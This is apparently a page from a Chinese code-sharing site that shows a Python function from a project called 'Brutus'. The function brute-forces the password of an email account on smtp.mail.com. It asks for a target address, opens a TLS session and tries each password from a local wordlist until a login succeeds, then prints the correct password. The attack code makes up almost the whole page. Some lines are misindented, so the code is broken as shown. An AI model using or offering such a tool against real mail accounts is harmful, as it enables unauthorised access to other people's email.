smtp_mail_brute.py 文件源码

python
阅读 20 收藏 0 点赞 0 评论 0

项目:Brutus 作者: vduddu 项目源码 文件源码
def smtp_mail_brute():

    email=raw_input(">>>smtp>>>Enter email address:")
    print("[*]Connecting to mail.com Server")
    smtp_gmail=smtplib.SMTP("smtp.mail.com",587)
    print("[*]Successfully connected to mail.com")
        smtp_gmail.ehlo()
    print("[*]Creating a secure TLS channel")
        smtp_gmail.starttls()
    print("[*]Succesfully created a TLS channel")
    print("[*]Reading Passwords List")
    passfile=open("./password_lists/passwords.txt","r")
    print("[*]Successfully read passwords list")

    for password in passfile.readlines():

        password=password.rstrip('\n')

        try:
            smtp_gmail.login(email,password)
            smtp_gmail=smtplib.SMTP("smtp.mail.com",587)
                        smtp_gmail.ehlo()
                        smtp_gmail.starttls()

        except smtplib.SMTPAuthenticationError:
            print('\x1b[0;30;41m'+"[!]Incorrect password:%s" %password+'\x1b[0m')

        except KeyboardInterrupt:
            print("\nQuitting..")
            return

        else:
            print('\x1b[0;30;42m' + "[+]Correct password: %s" %password+'\x1b[0m')
            break
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号